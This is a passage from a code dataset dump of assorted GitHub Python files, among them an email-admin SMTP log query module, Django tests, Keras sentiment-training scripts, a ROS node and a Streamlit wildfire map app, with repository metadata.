previous_fraction.append(egyptian_fraction)\n return get_egyptian_frac(fraction - egyptian_fraction, previous_fraction)\n\n\nif __name__ == \"__main__\":\n print(get_egyptian_frac(Fraction(4, 13)))\n\n\n\"\"\"\nSPECS:\n\nTIME COMPLEXITY: O(log(n))\nSPACE COMPLEXITY: O(log(n))\n\"\"\"\n","repo_name":"ruppysuppy/Daily-Coding-Problem-Solutions","sub_path":"Solutions/252.py","file_name":"252.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":444,"dataset":"github-code","pt":"67"} +{"seq_id":"12828902283","text":"# Author: Zhang Huangbin \n\nimport time\nimport web\n\nimport settings\n\nfrom libs import iredutils\nfrom libs.logger import logger\n\n\nif settings.backend == 'ldap':\n from libs.ldaplib.admin import get_managed_domains\nelse:\n from libs.sqllib.admin import get_managed_domains\n\nsession = web.config.get('_session')\n\n\ndef __get_managed_domains():\n domains = []\n\n kw = {'admin': session.get('username'),\n 'domain_name_only': True,\n 'conn': None}\n\n if settings.backend != 'ldap':\n kw['listed_only'] = True\n\n qr = get_managed_domains(**kw)\n\n if qr[0]:\n domains = qr[1]\n\n return domains\n\n\ndef get_num_rejected(hours=None):\n \"\"\"Return amount of rejected mails in last given `hours`.\"\"\"\n num = 0\n\n if not hours:\n hours = 24\n\n sql_vars = {\n \"action\": \"REJECT\",\n \"time_num\": (int(time.time()) - (hours * 3600)),\n }\n\n sql_wheres = [\"action = $action AND time_num >= $time_num\"]\n\n if not session.get('is_global_admin'):\n domains = __get_managed_domains()\n\n if domains:\n sql_vars['domains'] = domains\n sql_wheres += ['(sender_domain IN $domains OR sasl_username IN $domains OR recipient_domain IN $domains)']\n else:\n return num\n\n sql_where = ' AND '.join(sql_wheres)\n\n try:\n qr = web.conn_iredapd.select(\n 'smtp_sessions',\n vars=sql_vars,\n what=\"COUNT(id) AS total\",\n where=sql_where,\n )\n if qr:\n num = qr[0]['total']\n except Exception as e:\n logger.error(e)\n\n return num\n\n\ndef get_num_smtp_outbound_sessions(hours=None):\n \"\"\"Return amount of smtp authentications in last given `hours`.\"\"\"\n num = 0\n\n if not hours:\n hours = 24\n\n sql_vars = {\n \"time_num\": (int(time.time()) - (hours * 3600)),\n }\n\n sql_wheres = [\"sasl_username <> '' AND time_num >= $time_num\"]\n\n if not session.get('is_global_admin'):\n domains = __get_managed_domains()\n\n if domains:\n sql_vars['domains'] = domains\n sql_wheres += ['sasl_domain IN $domains']\n else:\n return num\n\n sql_where = ' AND '.join(sql_wheres)\n\n try:\n qr = web.conn_iredapd.select(\n 'smtp_sessions',\n vars=sql_vars,\n what=\"COUNT(id) AS total\",\n where=sql_where,\n )\n\n if qr:\n num = qr[0]['total']\n except Exception as e:\n logger.error(e)\n\n return num\n\n\ndef get_log_smtp_sessions(domains=None,\n sasl_usernames=None,\n senders=None,\n recipients=None,\n client_addresses=None,\n encryption_protocols=None,\n outbound_only=False,\n rejected_only=False,\n offset=None,\n limit=None):\n \"\"\"Return a dict with amount of smtp rejections and list of (SQL) rows.\"\"\"\n result = {'total': 0, 'rows': []}\n\n if not offset or not isinstance(offset, int):\n offset = 0\n\n if not limit or not isinstance(limit, int):\n limit = settings.PAGE_SIZE_LIMIT\n\n query_domains = []\n sql_vars = {}\n sql_wheres = []\n sql_where = None\n\n if domains:\n query_domains = [str(i).lower() for i in domains if iredutils.is_domain(i)]\n\n if session.get('is_global_admin'):\n if query_domains:\n sql_vars['domains'] = query_domains\n\n if outbound_only:\n sql_wheres += ['sasl_domain IN $domains']\n else:\n sql_wheres += ['(sender_domain IN $domains OR sasl_domain IN $domains OR recipient_domain IN $domains)']\n else:\n if outbound_only:\n sql_wheres += [\"sasl_username <> ''\"]\n else:\n managed_domains = __get_managed_domains()\n if not managed_domains:\n return result\n\n if domains:\n query_domains = [str(i).lower() for i in domains if i in managed_domains]\n\n if not query_domains:\n return result\n else:\n query_domains = managed_domains\n\n sql_vars['domains'] = query_domains\n if outbound_only:\n sql_wheres += ['sasl_domain in $domains']\n else:\n sql_wheres += ['(sender_domain IN $domains OR sasl_domain IN $domains OR recipient_domain IN $domains)']\n\n if sasl_usernames:\n sql_vars['sasl_usernames'] = [str(i).lower() for i in sasl_usernames if iredutils.is_email(i)]\n sql_wheres += ['sasl_username IN $sasl_usernames']\n\n if senders:\n sql_vars['senders'] = [str(i).lower() for i in senders if iredutils.is_email(i)]\n sql_wheres += ['sender IN $senders']\n\n if recipients:\n sql_vars['recipients'] = [str(i).lower() for i in recipients if iredutils.is_email(i)]\n sql_wheres += ['recipient IN $recipients']\n\n if client_addresses:\n sql_vars['client_addresses'] = [i for i in client_addresses if iredutils.is_strict_ip(i)]\n sql_wheres += ['client_address IN $client_addresses']\n\n if encryption_protocols:\n sql_vars['encryption_protocols'] = encryption_protocols\n sql_wheres += ['encryption_protocol IN $encryption_protocols']\n\n if rejected_only:\n sql_wheres += [\"action='REJECT'\"]\n\n if sql_wheres:\n sql_where = ' AND '.join(sql_wheres)\n\n try:\n qr = web.conn_iredapd.select(\n 'smtp_sessions',\n vars=sql_vars,\n what='COUNT(id) AS total',\n where=sql_where,\n )\n if qr:\n result['total'] = qr[0].total\n except Exception as e:\n logger.error(e)\n\n columns = [\n 'id', 'time', 'time_num',\n 'action', 'reason', 'instance',\n 'sasl_username', 'sender', 'recipient',\n 'client_address', 'encryption_protocol',\n ]\n\n try:\n qr = web.conn_iredapd.select(\n 'smtp_sessions',\n vars=sql_vars,\n what=','.join(columns),\n where=sql_where,\n order='time_num DESC',\n offset=offset,\n limit=limit,\n )\n\n if qr:\n result['rows'] = list(qr)\n except Exception as e:\n logger.error(e)\n\n return result\n\n\ndef get_smtp_insecure_outbound(hours=None):\n \"\"\"\n Return info of insecure smtp outbound sessions in last given `hours`.\n\n (True, {'total': '', 'usernames': [, , ...]})\n (False, '')\n \"\"\"\n result = {'total': 0, 'usernames': []}\n\n if not isinstance(hours, int):\n hours = 24\n\n sql_vars = {\n \"time_num\": (int(time.time()) - (hours * 3600)),\n }\n\n sql_wheres = [\"sasl_username <> '' AND encryption_protocol = '' AND time_num >= $time_num\"]\n\n if not session.get('is_global_admin'):\n domains = __get_managed_domains()\n\n if domains:\n sql_vars['domains'] = domains\n sql_wheres += ['sasl_domain IN $domains']\n else:\n return True, result\n\n sql_where = ' AND '.join(sql_wheres)\n\n try:\n qr = web.conn_iredapd.select(\n 'smtp_sessions',\n vars=sql_vars,\n what='sasl_username',\n where=sql_where,\n group='sasl_username',\n )\n\n for row in qr:\n result['total'] += 1\n _email = str(row['sasl_username']).lower().strip()\n result['usernames'].append(_email)\n\n result['usernames'].sort()\n return True, result\n except Exception as e:\n logger.error(e)\n return False, repr(e)\n","repo_name":"finch-harold/iRedAdmin-Pro-SQL","sub_path":"libs/iredapd/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":7643,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"69958535894","text":"#!/usr/local/bin/python3\n\n# author = \"Francois Major\"\n# version = \"1.0\"\n# date = \"28 janvier 2018\"\n#\n# Programme Python pour IFT2015/Types abstraits/Liste\n#\n# Pris et modifié de Goodrich, Tamassia & Goldwasser\n# Data Structures & Algorithms in Python (c)2013\n\n# utilise la fonction getsize de sys\nimport sys\n\ndata = [ ]\nfor k in range( 32 ):\n a = len(data) # nombre d'éléments\n b = sys.getsizeof(data) # taille en bytes\n print( 'Taille: {0:3d}; Capacité en bytes: {1:4d}'.format(a, b))\n data.append( None ) # ajout de 1 élément\n \n","repo_name":"JGuymont/ift2015","sub_path":"2_abstract_type/2.1 Liste/ListGrowthPython.py","file_name":"ListGrowthPython.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36856904882","text":"from django.test import TestCase\nfrom promises_instances.models import DDAHCategory, DDAHInstance\nfrom promises.models import Promise\nfrom popolo.models import Person\nfrom promises_instances.views import InstanceDetailView\nfrom promises.queryset import PromiseSummary\n\n\nclass InstanceHomeView(TestCase):\n def setUp(self):\n self.person = Person.objects.create(name=u\"A person\")\n\n def test_every_instance_has_its_promises(self):\n '''Every instance has its promises and categories'''\n instance = DDAHInstance.objects.create(label='bici', title='bicicletas')\n category = DDAHCategory.objects.create(name=\"Education\", instance=instance)\n self.assertTrue(instance.categories)\n self.assertEquals(instance.categories.count(), 1)\n self.assertEquals(instance.categories.first(), category)\n\n def test_the_instance_home_page_contains_the_instance(self):\n '''The instance home page contains the instance'''\n instance = DDAHInstance.objects.create(label='bici', title='bicicletas')\n view = InstanceDetailView()\n view.object = instance\n\n context = view.get_context_data()\n self.assertIn('instance', context)\n self.assertEquals(context['instance'], instance)\n\n def test_the_home_page_contains_the_right_categories(self):\n '''The home page also brings the right categories as well'''\n instance1 = DDAHInstance.objects.create(label='bici1', title='bicicletas1')\n category1 = DDAHCategory.objects.create(name=\"Education1\", instance=instance1)\n\n instance2 = DDAHInstance.objects.create(label='bici2', title='bicicletas2')\n category2 = DDAHCategory.objects.create(name=\"Education1\", instance=instance2)\n\n view = InstanceDetailView()\n view.object = instance1\n\n context = view.get_context_data()\n\n self.assertIn('categories', context)\n self.assertIn(category1, context['categories'])\n self.assertNotIn(category2, context['categories'])\n\n def test_there_is_a_summary_of_the_promises(self):\n '''There is a summary of the promises'''\n instance2 = DDAHInstance.objects.create(label='bici2', title='bicicletas2')\n category2 = DDAHCategory.objects.create(name=\"Education1\", instance=instance2)\n promise3 = Promise.objects.create(name=\"this is a promise\",\n person=self.person,\n category=category2\n )\n promise3.fulfillment.percentage = 50\n promise3.fulfillment.save()\n\n instance1 = DDAHInstance.objects.create(label='bici1', title='bicicletas1')\n category1 = DDAHCategory.objects.create(name=\"Education1\", instance=instance1)\n Promise.objects.create(name=\"this is a promise\",\n person=self.person,\n category=category1\n )\n promise2 = Promise.objects.create(name=\"this is another promise\",\n person=self.person,\n category=category1,\n )\n promise2.fulfillment.percentage = 100\n promise2.fulfillment.save()\n\n view = InstanceDetailView()\n view.object = instance1\n\n context = view.get_context_data()\n\n self.assertIn('summary', context)\n self.assertIsInstance(context['summary'], PromiseSummary)\n self.assertEquals(context['summary'].accomplished, 1)\n self.assertEquals(context['summary'].no_progress, 1)\n self.assertEquals(context['summary'].in_progress, 0)\n","repo_name":"ciudadanointeligente/deldichoalhecho","sub_path":"promises_instances/tests/instances_home_view_tests.py","file_name":"instances_home_view_tests.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"74838152852","text":"'''Trains a LSTM on the IMDB sentiment classification task.\nThe dataset is actually too small for LSTM to be of any advantage\ncompared to simpler, much faster methods such as TF-IDF + LogReg.\nNotes:\n- RNNs are tricky. Choice of batch size is important,\nchoice of loss and optimizer is critical, etc.\nSome configurations won't converge.\n- LSTM loss decrease patterns during training can be quite different\nfrom what you see with CNNs/MLPs/etc.\n'''\nfrom __future__ import print_function\nimport numpy as np\n\n\nfrom tqdm import tqdm\n\nnp.random.seed(1337) # for reproducibility\n\n\nfrom corpus.embedding import Generator\nfrom sklearn import metrics\nfrom corpus.networks import rnn, cnn, cnn_rnn\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.layers import LSTM\n\nprint('Loading data...')\n\nGenerator_BATCH=32\n\ngen_train = Generator(multiprocessing=10,categorical=True,local=False)\ngen_train.yeld_size=Generator_BATCH\ngen_train.calculate_embedding()\n\n\ngen_test = Generator(multiprocessing=10,yeld_corpus=\"test\",categorical=True,local=False)\ngen_test.yeld_size=Generator_BATCH\n\nmodel_choice='cnn-rnn'\n\n\n\nprint('Build model...')\nmodels= {'cnn':cnn,'cnn-rnn':cnn_rnn,'rnn':rnn}\nmodel=models[model_choice](256, len(gen_train.imdb_vocab)-1,gen_train.maxlen,embedding_matrix=gen_train.embedding_matrix,embedding_trainable=True,lstm_dropout=.0)\n\n\n\n# model = Sequential()\n# model.add(LSTM(256,input_dim=88584, dropout_W=.0, dropout_U=.0, return_sequences=False))\n# model.add(Dense(1))\n# model.add(Activation('sigmoid'))\n# model.compile(loss='binary_crossentropy',\n# optimizer='adam',\n# metrics=['accuracy'])\n\n\nmodel.summary()\n\nprint('Train...')\n\n# model.fit_generator(gen_train(),samples_per_epoch=25000,nb_epoch=2)\n\n\nmodel.fit(gen_train.x_train, gen_train.train_y, batch_size=128, nb_epoch=2,\n validation_data=(gen_test.x_test, gen_test.test_y))\n\n\n\n\n\n# y_output=np.zeros((25000,1))\n# for batch,(x,y) in tqdm(enumerate(gen_test()),total=int(25000/Generator_BATCH)):\n# y_output[(batch*Generator_BATCH):(batch*Generator_BATCH)+Generator_BATCH] = model.predict(x)\n\n\n\n\ny_output = model.predict(gen_test.x_test, 128)\ny_output[np.where(y_output<0.5)]=0\ny_output[np.where(y_output>=0.5)]=1\n\naccuracy = metrics.accuracy_score(gen_test.test_y, y_output)\nprecision = metrics.precision_score(gen_test.test_y, y_output)\nrecall = metrics.recall_score(gen_test.test_y, y_output)\nf1 = metrics.f1_score(gen_test.test_y, y_output)\n\nprint(\"Accuracy: %f\\nPrecission: %f\\nRecall: %f\\nF1: %f\" % (accuracy,precision,recall,f1))\n","repo_name":"evankos/TextMining","sub_path":"imdb_lstm.py","file_name":"imdb_lstm.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15042608050","text":"# Levenshtein distance\r\nimport editdistance\r\n\r\nimport IO\r\n# refernce https://pypi.python.org/pypi/editdistance\r\nfrom Match import *\r\nfrom Token import *\r\n\r\nmisspell = IO.readFile(IO.loadFile(\"misspell.txt\"))\r\ndictionary = IO.readFile(IO.loadFile(\"dictionary.txt\"))\r\n\r\n\r\n\r\ndef compare(output, correctFile):\r\n pass\r\n\r\n# def analyseLDistance(file, dictionary):\r\n# for term in file:\r\n# ld(term, dictionary)\r\n\r\n\r\ndef ged(file, dictionary):\r\n count = 1\r\n tokenList = []\r\n for m in file:\r\n minMark = 9999999\r\n collection = []\r\n for l in dictionary:\r\n curScore = editdistance.eval(m, l)\r\n if curScore == minMark:\r\n collection.append(l)\r\n if curScore < minMark:\r\n collection.clear()\r\n minMark = curScore\r\n collection.append(l)\r\n print(\"now doing:\"+str(count))\r\n count+=1\r\n print(\"Token:\" + m + \" Score:\" + str(minMark) + \" Count:\" + str(\r\n len(collection)) + \" Possible_Correction:\" + str(collection))\r\n tokenList.append(Token(m, minMark, len(collection), collection))\r\n return tokenList\r\n\r\n\r\ndef analyseNGram(n,file, dictionary):\r\n count = 1\r\n tokenList = []\r\n for m in file:\r\n minMark = 9999999\r\n collection = []\r\n for l in dictionary:\r\n curScore = nGram(n, m, l)\r\n if curScore == minMark:\r\n collection.append(l)\r\n if curScore < minMark:\r\n collection.clear()\r\n minMark = curScore\r\n collection.append(l)\r\n print(\"now doing:\"+str(count))\r\n count+=1\r\n print(\"Token:\" + m + \" Score:\" + str(minMark) + \" Count:\" + str(\r\n len(collection)) + \" Possible_Correction:\" + str(collection)\r\n )\r\n tokenList.append(Token(m, minMark, len(collection), collection))\r\n return tokenList\r\n\r\n\r\ndef analyseSWDistance(file, dictionary):\r\n count = 1\r\n tokenList = []\r\n for m in file:\r\n maxMark = 0\r\n collection = []\r\n for l in dictionary:\r\n curScore = led(m, l)\r\n if curScore == maxMark:\r\n collection.append(l)\r\n if curScore > maxMark:\r\n collection = []\r\n maxMark = curScore\r\n collection.append(l)\r\n print(\"now doing:\"+str(count))\r\n count+=1\r\n print(\"Token:\" + m + \" Score:\" + str(int(maxMark)) + \" Count:\" + str(\r\n len(collection)) + \" Possible_Correction:\" + str(collection)\r\n )\r\n a = open('testOutput_led_.txt', 'a')\r\n curLine = m + \" \" + str(int(maxMark)) + \" \" + str(len(collection))+\"\\n\"\r\n a.write(curLine)\r\n a.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n tokenList = []\r\n choice = input(\"please input your choice:\\nged\\nngram\\nled\\n\")\r\n if choice == \"ged\":\r\n tokenList = ged(misspell,dictionary);\r\n elif choice == \"ngram\":\r\n tokenList = analyseNGram(3,misspell,dictionary)\r\n elif choice == \"led\":\r\n analyseSWDistance(misspell,dictionary)\r\n\r\n IO.write(tokenList, \"testOutput_\"+choice+\"_.txt\")\r\n","repo_name":"sche0025/StringSimilarity","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"5219478632","text":"#! /usr/bin/env python\n\nimport rospy\nfrom geometry_msgs.msg import Twist\n\n# Create a Publisher\ncmd_vel_pub = rospy.Publisher('cmd_vel', Twist, queue_size=1)\n\n# Initialize the node\nrospy.init_node('red_light_green_light')\n\n# Create the two messsages\nred_light_twist = Twist()\t\t\t# Stop\ngreen_light_twist = Twist()\t\t\t# Go forward\ngreen_light_twist.linear.x = 0.5\n\ndriving_forward = False\t\t\t\t\t# Flag for run/stop\nlight_change_time = rospy.Time.now()\t# Keep track of change\nrate = rospy.Rate(10)\t\t\t\t\t# Publish rate (10 Hz)\n\nwhile not rospy.is_shutdown():\n\tif driving_forward:\n\t\tcmd_vel_pub.publish(green_light_twist)\t# Go forward\n\telse:\n\t\tcmd_vel_pub.publish(red_light_twist)\t# Stop\n\n\t# Change the state each 3 sec\t\n\tif light_change_time < rospy.Time.now():\n\t\tdriving_forward = not driving_forward\n\t\tlight_change_time = rospy.Time.now() + rospy.Duration(3)\n\t\n\trate.sleep()\n","repo_name":"kaiodt/kaio_ros_ws","sub_path":"src/wanderbot/scripts/red_light_green_light.py","file_name":"red_light_green_light.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40730278918","text":"from train import Loader\nimport sys\nimport os\nsys.path.append( os.path.dirname(os.path.abspath(__file__))[:-3] + \"\\\\cfg\")\nfrom config import debug, info, warning, log_config, PATH\nimport glob\nfrom model import Encoder, Decoder, Discriminator\nlog_config('test')\nfrom fader_networks import GAN\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom config import debug, info, warning, log_config, PATH, save_loss\nfrom datetime import datetime as date\n\n\nclass Evaluation:\n def __init__ (self, attributs, batch_test, weights=\" \"):\n self.test_ims_path = glob.glob(PATH + '\\\\data\\\\test' + '\\\\*.jpg')\n self.attributs = attributs\n self.name_attributs = \"_\".join(self.attributs)\n self.weights=weights\n self.ld = Loader()\n self.batch_test = batch_test\n \n def test(self):\n self.encoder, self.decoder, self.discriminator = Encoder(), Decoder(), Discriminator()\n self.encoder.load_weights(f'{self.weights}encoder\\\\').expect_partial()\n info('Get weights of encoder')\n self.decoder.load_weights(f'{self.weights}decoder\\\\').expect_partial()\n info('Get weights of decoder')\n self.discriminator.load_weights(f'{self.weights}discriminator\\\\').expect_partial()\n info('Get weights of discriminator')\n\n self.gan = GAN(encoder=self.encoder, decoder=self.decoder, discriminator=self.discriminator)\n self.gan.compile()\n i = 0\n imgs, atts = self.ld.Load_Data(self.batch_test, i, self.attributs, mod='test')\n z, y_predict, x_reconstruct = self.gan.combine_model(imgs, atts) \n\n return imgs, x_reconstruct\n\n \n def plot_testImg (self):\n imgs, x_reconstruct = self.test()\n imgs = (np.array(imgs)+1)*127.5\n x_reconstruct=(np.array(x_reconstruct)+1)*127.5\n\n x= np.concatenate((imgs,x_reconstruct), axis = 2)\n print(imgs.shape)\n print(x_reconstruct.shape)\n print(x.shape)\n #cv2.imwrite(PATH + f\"/utils/result_test/test_img_a.png\", imgs[2])\n #cv2.imwrite(PATH + f\"/utils/result_test/test_img_b.png\", x_reconstruct[2])\n for i in range(imgs.shape[0]):\n cv2.imwrite(PATH + f\"/utils/result_test/test_img_{date.today().strftime('%d-%m-%Y-%Hh%M')}\"+str(i)+\".png\", x[i])","repo_name":"walid-learning/Fader_Network","sub_path":"src/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24680466549","text":"import numpy as np\nimport pickle\nimport os\nimport time\nfrom tensorflow.keras.utils import to_categorical\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\ndef get_w2i(vocab_size, training_file, out_dir, save = True):\n '''\n vocab_size: size of vocabulary\n training_file: path to training file\n out_dir: directory to save the word2index dictionary\n '''\n\n #assign , , and to the first four indices\n w2i_default = ['','','','']\n\n print('Reading training file and counting words...')\n # data = pd.read_csv(training_file)\n counts = {}\n for row in training_file:\n\n tokens = row.split() #creates list of tokens present at current row\n\n for token in tokens:\n if token in counts.keys():\n counts[token] += 1\n else:\n counts[token] = 1\n\n print('Restricting word2index to the vocabulary size...')\n #restrict items in the w2i to the vocabulary size\n all_tokens = []; num_counts = []\n for key, val in counts.items():\n all_tokens.append(key)\n num_counts.append(val)\n\n sorted_tokens = [token for _, token in sorted(zip(num_counts, all_tokens), reverse = True)]\n \n w2i = w2i_default.copy()\n for id, token in enumerate(sorted_tokens[0:vocab_size - len(w2i_default)]):\n w2i.append(token)\n\n print(f'Saving the word2index list to {out_dir}/w2i')\n pickle.dump(w2i, open(os.path.join(out_dir,'w2i'),'wb'))\n return w2i\n\n# def get_w2i(vocab_size, training_file, out_dir):\n#\n# #assign , , and to the first four indices\n# w2i = np.array(['','','',''])\n#\n# print('Reading training file')\n# rows = np.concatenate([row.split() for row in training_file])\n# print('Reading training file completed')\n# words, counts = np.unique([word for word in rows.reshape(-1) if word not in w2i], return_counts = True)\n# order = np.argsort(counts)[::-1]\n# words = words[order[:vocab_size - len(w2i)]]\n#\n# w2i = list(np.concatenate((w2i, words), axis = 0))\n#\n# pickle.dump(w2i, open(os.path.join(out_dir,'w2i'),'wb'))\n\ndef word2index(sentence, w2i):\n\n indices = np.zeros(len(sentence))\n\n for id, word in enumerate(sentence):\n try:\n indices[id] = w2i.index(word)\n except: #if unknown word\n indices[id] = 2\n\n return indices.astype(np.int32)\n\n\ndef index2word(indices, w2i):\n\n sentence = [w2i[index] for index in indices]\n\n return sentence\n\ndef preprocess(sentence, max_length):\n\n new_sentence = sentence.copy()\n new_sentence.insert(0,'')\n new_sentence.append('')\n\n for i in range(len(new_sentence), max_length):\n new_sentence.append('')\n\n return new_sentence\n\ndef perplexity(cross_entropy, ground_truth):\n\n cross_entropy[ground_truth[:,1:] == 3] = np.nan #ignoring the terms\n perp = list(np.exp(np.nanmean(cross_entropy, axis = -1))) #np.nanmean ignores the nan values\n\n return perp\n","repo_name":"marbucek/lstm_tensorflow","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26682975182","text":"def hotel(raw_dict: dict) -> tuple:\n for e in raw_dict:\n yield (\n e['id'],\n e['name'],\n e['resort'],\n e['country'],\n e['category'],\n e['rating'],\n e['distances']['airport'],\n e['distances']['beach'],\n e['beachLine'],\n e['beachOwner'],\n e['isPopular'],\n e['hasChildrenAttributes']\n )\n\n\ndef offer(raw_dict: dict) -> tuple:\n for e in raw_dict:\n e = e['tour']\n yield (\n e['identity'],\n e['price'],\n e['oilTax'],\n e['originalPrice'],\n e['nights'],\n e['touristGroup']['adults'],\n e['meal'],\n e['checkInDate'],\n e['hotel'],\n e['operator']['id'],\n e['room']['name'],\n e['sortRate']\n )\n","repo_name":"mixartemev/travel-watch","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2871006483","text":"file = open(\"input.txt\", 'r').read()\ndatastreams = file.split(\"\\n\")\ndatastreams.remove(\"\")\n\nfor d in datastreams:\n for i in range(0,len(d)-4,1):\n part = d[i:i+4]\n part_set = set(part)\n if len(part)==len(part_set) and len(part)==4:\n print(i+4)\n print(part,part_set)\n break\n\n\nfor d in datastreams:\n for i in range(0,len(d)-14,1):\n part = d[i:i+14]\n part_set = set(part)\n if len(part)==len(part_set) and len(part)==14:\n print(i+14)\n print(part,part_set)\n break\n","repo_name":"vmatt/adventofcoding","sub_path":"2022/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71626677335","text":"start = \"program\"\n\nprods = \\\n\"\"\"\nprogram : statement+\n\nstatement : stat_semicol | stat_if | stat_loop | stat_func\n\nstat_semicol : semicol_base (SEMICOL semicol_base)* NEWLINE\n\nstat_if : IF expression COLON NEWLINE block (ELIF expression COLON NEWLINE\n block)* [ELSE COLON NEWLINE block]\n\nstat_loop : WHILE expression COLON NEWLINE block\n | FOR VARIABLE IN expression COLON NEWLINE block\n\nstat_func : DEF VARIABLE L_PAREN [VARIABLE (COMMA VARIABLE)*] R_PAREN COLON\n NEWLINE block\n\nsemicol_base : CONTINUE\n | BREAK\n | RETURN [expression]\n | expression [assign_op expression]\n\nblock : BLOCK_BEG statement+ BLOCK_END\n\nexpression : exp_log_and (LOG_OR exp_log_and)*\n\nexp_log_and : exp_log_not (LOG_AND exp_log_not)*\n\nexp_log_not : LOG_NOT* exp_comp\n\nexp_comp : exp_bit_or (comp_op exp_bit_or)*\n\nexp_bit_or : exp_bit_xor (BIT_OR exp_bit_xor)*\n\nexp_bit_xor : exp_bit_and (BIT_XOR exp_bit_and)*\n\nexp_bit_and : exp_shift (BIT_AND exp_shift)*\n\nexp_shift : exp_sum ((L_SHIFT | R_SHIFT) exp_sum)*\n\nexp_sum : exp_prod ((PLUS | DASH) exp_prod)*\n\nexp_prod : exp_pdbn ((STAR | DIV | MOD) exp_pdbn)*\n\nexp_pdbn : (PLUS | DASH | BIT_NOT)* exp_pow\n\nexp_pow : exp_inv_elems (STARSTAR exp_inv_elems)*\n\nexp_inv_elems : exp_base (L_PAREN [expression (COMMA expression)*] R_PAREN |\n L_BRACK elements R_BRACK)*\n\nexp_base : NONE\n | TRUE\n | FALSE\n | NATURAL\n | STRING\n | VARIABLE\n | L_PAREN expression R_PAREN\n | L_BRACK [expression (COMMA expression)*] R_BRACK\n\nelements : [expression] COLON [expression] [COLON [expression]]\n | expression\n\nassign_op : EQUALS | ADD_EQ | SUB_EQ | MULT_EQ | DIV_EQ | EXP_EQ | MOD_EQ |\n L_SH_EQ | R_SH_EQ | B_AND_EQ | B_OR_EQ | B_XOR_EQ\n\ncomp_op : LS_THAN | LS_TH_EQ | GR_THAN | GR_TH_EQ | EQEQ | NOT_EQ | IN |\n LOG_NOT IN | IS | IS LOG_NOT\n\"\"\"\nprods = [e.split(\":\") for e in prods.split(\"\\n\\n\")]\nprods = dict([(e[0].strip(), e[1].strip()) for e in prods])\n","repo_name":"cseberino/pylayers","sub_path":"ast/pythonic_grammar.py","file_name":"pythonic_grammar.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31138274154","text":"import datetime\nimport ee\nimport streamlit as st\nimport geemap.foliumap as geemap\nimport os\nimport folium\nfrom streamlit_folium import folium_static\n\nst.set_page_config(initial_sidebar_state=\"collapsed\",layout=\"wide\")\n\nst.sidebar.title(\"About\")\nst.sidebar.info(\n \"\"\"\n This is an application for Near Real Time Fire Information Hub\n \"\"\"\n)\n\nst.sidebar.title(\"Contact\")\nst.sidebar.info(\n \"\"\"\n heng.bauran@gmail.com\n \"\"\"\n)\n\nst.title(\"FIRMS: Fire Information for Resources Management System\")\nst.markdown(\"The Earth Engine version of the Fire Information for Resource Management System (FIRMS) dataset contains the LANCE fire detection product in rasterized form. The near real-time (NRT) active fire locations are processed by LANCE using the standard MODIS MOD14/MYD14 Fire and Thermal Anomalies product. Each active fire location represents the centroid of a 1km pixel that is flagged by the algorithm as containing one or more fires within the pixel. The data are rasterized as follows: for each FIRMS active fire point, a 1km bounding box (BB) is defined; pixels in the MODIS sinusoidal projection that intersect the FIRMS BB are identified; if multiple FIRMS BBs intersect the same pixel, the one with higher confidence is retained; in case of a tie, the brighter one is retained. The data in the near-real-time dataset are not considered to be of science quality.\")\n\n\nMap = geemap.Map(locate_control=True)\n\ncol1, col2, col3, col4, col5= st.columns([1, 1, 1, 2, 2])\nwith col1:\n longitude = st.number_input(\"Longitude\", 102, 110, 105)\nwith col2:\n latitude = st.number_input(\"Latitude\", 10, 16, 12)\nwith col3:\n zoom = st.number_input(\"Zoom\", 0, 20, 7)\n\nMap.setCenter(longitude, latitude, zoom)\n\nwith col4:\n start = st.date_input(\"Start Date for Fire Forest: YYYY/MM/DD\", datetime.date(2021, 1, 1))\nwith col5:\n end = st.date_input(\"End Date for Fire Forest: YYYY/MM/DD\", datetime.date(2021, 1, 3))\n\nstart_date = start.strftime(\"%Y-%m-%d\")\nend_date = end.strftime(\"%Y-%m-%d\")\n\ncountries=ee.FeatureCollection(\"USDOS/LSIB_SIMPLE/2017\")\ncountry = countries.filter(ee.Filter.eq('country_na', 'Cambodia'));\nesa = ee.ImageCollection(\"FIRMS\").select('T21').filterBounds(country).filterDate(start_date,end_date).mosaic().clip(country)\nesa_vis = {\"min\": 325,\"max\": 400,\"palette\": ['red', 'orange', 'yellow'],}\nMap.addLayer(country,{}, name =\"Cambodia Global Boundary\")\nMap.addLayer(esa, esa_vis, 'fire')\n\nlabels = ['Fire Detection']\ncolors = ['#FF0000']\nMap.add_legend(\n 